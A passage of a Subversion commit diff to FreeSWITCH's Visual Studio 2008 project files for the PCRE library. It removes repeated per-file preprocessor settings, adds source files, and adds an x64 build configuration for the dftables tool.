 				RelativePath="..\..\pcre\pcre_exec.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_fullinfo.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_get.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_globals.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_info.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_maketables.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_ord2utf8.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_refcount.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_study.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_tables.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_try_flipped.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
+				RelativePath="..\..\pcre\pcre_newline.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\pcre\pcre_ucd.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\pcre\pcre_ucp_searchfuncs.c"
 				>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_valid_utf8.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_version.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_xclass.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcreposix.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Modified: freeswitch/branches/seven/libs/win32/pcre/pcre_chartables.c.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pcre/pcre_chartables.c.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pcre/pcre_chartables.c.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -43,7 +46,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="..\..\pcre\"
-				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="2"
@@ -94,6 +97,84 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\pcre\"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\dftables.exe"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
